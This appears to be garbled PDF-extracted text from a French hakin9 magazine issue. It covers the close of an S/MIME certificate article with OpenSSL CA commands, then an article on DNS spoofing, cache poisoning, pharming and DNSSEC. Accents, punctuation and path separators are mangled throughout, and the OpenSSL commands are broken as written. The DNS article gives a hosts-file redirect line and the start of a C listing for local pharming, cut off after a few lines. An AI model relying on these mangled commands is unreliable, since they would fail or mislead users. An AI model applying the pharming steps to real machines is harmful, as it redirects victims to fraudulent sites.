On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

